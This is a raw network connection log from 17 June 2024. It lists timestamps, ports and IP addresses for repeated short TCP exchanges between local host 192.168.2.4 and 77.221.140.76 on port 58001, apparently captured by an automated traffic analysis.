Jun 17, 2024 16:19:41.316252947 CEST	58001	65311	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:41.319822073 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.319982052 CEST	65311	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.325345993 CEST	58001	65311	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:41.427206993 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.436561108 CEST	58001	65312	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:41.439867020 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.440530062 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.448134899 CEST	58001	65312	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:41.448232889 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:41.455132008 CEST	58001	65312	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:42.476784945 CEST	58001	65312	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:42.476913929 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.477068901 CEST	65312	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.482016087 CEST	58001	65312	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:42.583570004 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.589159966 CEST	58001	65313	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:42.589289904 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.589967012 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.594875097 CEST	58001	65313	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:42.594963074 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:42.600455999 CEST	58001	65313	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:43.625061989 CEST	58001	65313	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:43.625159025 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.625292063 CEST	65313	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.630243063 CEST	58001	65313	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:43.739901066 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.746689081 CEST	58001	65314	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:43.746931076 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.747591019 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.752839088 CEST	58001	65314	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:43.752916098 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:43.758342028 CEST	58001	65314	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:44.737729073 CEST	58001	65314	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:44.737829924 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.737977982 CEST	65314	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.742790937 CEST	58001	65314	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:44.849286079 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.854310989 CEST	58001	65315	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:44.854407072 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.855014086 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.859829903 CEST	58001	65315	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:44.859888077 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:44.864787102 CEST	58001	65315	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:45.845573902 CEST	58001	65315	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:45.845649958 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.845782042 CEST	65315	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.850598097 CEST	58001	65315	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:45.958677053 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.963987112 CEST	58001	65316	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:45.964107990 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.964772940 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.970155001 CEST	58001	65316	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:45.970452070 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:45.975830078 CEST	58001	65316	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:46.959060907 CEST	58001	65316	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:46.959165096 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:46.959331036 CEST	65316	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:46.964179993 CEST	58001	65316	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:47.071424007 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:47.076796055 CEST	58001	65317	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:47.076910019 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:47.077706099 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:47.082736015 CEST	58001	65317	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:47.082895994 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:47.089437962 CEST	58001	65317	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:48.071546078 CEST	58001	65317	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:48.071681976 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.071890116 CEST	65317	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.077112913 CEST	58001	65317	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:48.180171967 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.185600996 CEST	58001	65318	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:48.185700893 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.186326981 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.191359043 CEST	58001	65318	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:48.191448927 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:48.196351051 CEST	58001	65318	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:49.207880974 CEST	58001	65318	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:49.208086014 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.208225012 CEST	65318	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.213066101 CEST	58001	65318	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:49.318639994 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.323733091 CEST	58001	65319	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:49.323951006 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.325366020 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.330385923 CEST	58001	65319	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:49.330482960 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:49.335396051 CEST	58001	65319	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:50.357497931 CEST	58001	65319	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:50.357630968 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.358051062 CEST	65319	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.363320112 CEST	58001	65319	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:50.475147009 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.480144978 CEST	58001	65320	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:50.480226994 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.481128931 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.486072063 CEST	58001	65320	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:50.486140966 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:50.491902113 CEST	58001	65320	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:51.507374048 CEST	58001	65320	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:51.507474899 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.507605076 CEST	65320	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.512614965 CEST	58001	65320	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:51.615413904 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.620384932 CEST	58001	65321	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:51.620487928 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.621396065 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.626218081 CEST	58001	65321	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:51.626492977 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:51.631376028 CEST	58001	65321	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:52.614221096 CEST	58001	65321	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:52.614357948 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.614518881 CEST	65321	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.619482994 CEST	58001	65321	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:52.724457026 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.729681969 CEST	58001	65322	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:52.729845047 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.730788946 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.737093925 CEST	58001	65322	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:52.737175941 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:52.742264986 CEST	58001	65322	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:53.728125095 CEST	58001	65322	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:53.728279114 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.728518009 CEST	65322	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.733381033 CEST	58001	65322	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:53.834039927 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.839191914 CEST	58001	65323	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:53.839303970 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.840007067 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.844834089 CEST	58001	65323	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:53.844949961 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:53.849814892 CEST	58001	65323	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:54.875929117 CEST	58001	65323	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:54.876002073 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:54.876245022 CEST	65323	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:54.881004095 CEST	58001	65323	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:54.990195036 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:54.995573997 CEST	58001	65324	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:54.995690107 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:54.996506929 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:55.002274036 CEST	58001	65324	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:55.002357006 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:55.007210016 CEST	58001	65324	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:55.990351915 CEST	58001	65324	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:55.990425110 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:55.990606070 CEST	65324	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:55.995378971 CEST	58001	65324	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:56.099762917 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:56.104861021 CEST	58001	65325	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:56.105109930 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:56.106656075 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:56.111463070 CEST	58001	65325	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:56.111561060 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:56.116345882 CEST	58001	65325	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:57.139101028 CEST	58001	65325	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:57.139178038 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.139312983 CEST	65325	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.144084930 CEST	58001	65325	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:57.256087065 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.261142969 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:57.261241913 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.262161970 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.267075062 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:57.267260075 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:57.272109032 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.248173952 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.248292923 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.248522997 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.365072012 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.500277996 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.500406981 CEST	65326	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.500653028 CEST	58001	65326	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.500669956 CEST	58001	65327	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.500861883 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.501590014 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.506377935 CEST	58001	65327	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:58.506433010 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:58.511295080 CEST	58001	65327	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:59.539136887 CEST	58001	65327	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:59.539205074 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.539352894 CEST	65327	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.546696901 CEST	58001	65327	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:59.646323919 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.651416063 CEST	58001	65328	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:59.652173996 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.652174950 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.660084963 CEST	58001	65328	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:59.660151005 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:59.668250084 CEST	58001	65328	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:00.686147928 CEST	58001	65328	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:00.686270952 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.686516047 CEST	65328	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.691286087 CEST	58001	65328	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:00.802845955 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.807759047 CEST	58001	65329	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:00.807859898 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.808736086 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.813544989 CEST	58001	65329	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:00.813621044 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:00.818608999 CEST	58001	65329	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:01.847431898 CEST	58001	65329	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:01.847521067 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.847651005 CEST	65329	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.852571964 CEST	58001	65329	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:01.958870888 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.963941097 CEST	58001	65330	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:01.965707064 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.966341019 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.971448898 CEST	58001	65330	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:01.973650932 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:01.978676081 CEST	58001	65330	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:02.993050098 CEST	58001	65330	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:02.993874073 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:02.993874073 CEST	65330	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:02.999185085 CEST	58001	65330	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:03.099184036 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:03.104199886 CEST	58001	65331	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:03.104290009 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:03.104932070 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:03.109774113 CEST	58001	65331	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:03.109848976 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:03.114814997 CEST	58001	65331	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:04.103730917 CEST	58001	65331	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:04.103821039 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.104389906 CEST	65331	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.109184027 CEST	58001	65331	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:04.208599091 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.213680983 CEST	58001	65332	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:04.213764906 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.214401007 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.219238997 CEST	58001	65332	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:04.219300985 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:04.224133015 CEST	58001	65332	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:05.238337994 CEST	58001	65332	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:05.238630056 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.238630056 CEST	65332	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.243509054 CEST	58001	65332	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:05.349612951 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.354918957 CEST	58001	65333	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:05.355062008 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.355989933 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.361973047 CEST	58001	65333	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:05.362077951 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:05.366826057 CEST	58001	65333	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:06.350923061 CEST	58001	65333	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:06.351257086 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.371454000 CEST	65333	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.376282930 CEST	58001	65333	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:06.475039959 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.480091095 CEST	58001	65334	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:06.480292082 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.480989933 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.485959053 CEST	58001	65334	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:06.486123085 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:06.492448092 CEST	58001	65334	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:07.473062992 CEST	58001	65334	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:07.473321915 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.474844933 CEST	65334	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.479839087 CEST	58001	65334	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:07.584013939 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.588968039 CEST	58001	65335	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:07.589109898 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.589879036 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.594675064 CEST	58001	65335	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:07.594794035 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:07.599653006 CEST	58001	65335	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:08.577596903 CEST	58001	65335	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:08.577706099 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.577866077 CEST	65335	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.583455086 CEST	58001	65335	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:08.693180084 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.698369026 CEST	58001	65336	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:08.699855089 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.700548887 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.705471039 CEST	58001	65336	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:08.707721949 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:08.712753057 CEST	58001	65336	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:09.734910965 CEST	58001	65336	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:09.735039949 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.735205889 CEST	65336	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.740020037 CEST	58001	65336	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:09.849873066 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.855350018 CEST	58001	65337	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:09.855506897 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.856275082 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.861172915 CEST	58001	65337	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:09.861232042 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:09.868617058 CEST	58001	65337	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:10.849946976 CEST	58001	65337	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:10.850091934 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.850244045 CEST	65337	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.855158091 CEST	58001	65337	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:10.959129095 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.964267969 CEST	58001	65338	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:10.964390039 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.965034962 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.970752001 CEST	58001	65338	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:10.970824003 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:10.975681067 CEST	58001	65338	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:12.001432896 CEST	58001	65338	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:12.001657009 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.001769066 CEST	65338	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.006556034 CEST	58001	65338	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:12.115122080 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.123399019 CEST	58001	65339	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:12.123511076 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.124161005 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.129117966 CEST	58001	65339	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:12.129187107 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:12.134107113 CEST	58001	65339	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:13.116609097 CEST	58001	65339	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:13.116695881 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.116883039 CEST	65339	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.121720076 CEST	58001	65339	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:13.224869967 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.229974031 CEST	58001	65340	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:13.230110884 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.231201887 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.236143112 CEST	58001	65340	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:13.236234903 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:13.241244078 CEST	58001	65340	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:14.251267910 CEST	58001	65340	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:14.251327991 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:14.251621962 CEST	65340	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:20:14.256475925 CEST	58001	65340	77.221.140.76	192.168.2.4
Jun 17, 2024 16:20:14.365232944 CEST	65341	58001	192.168.2.4	77.221.140.76
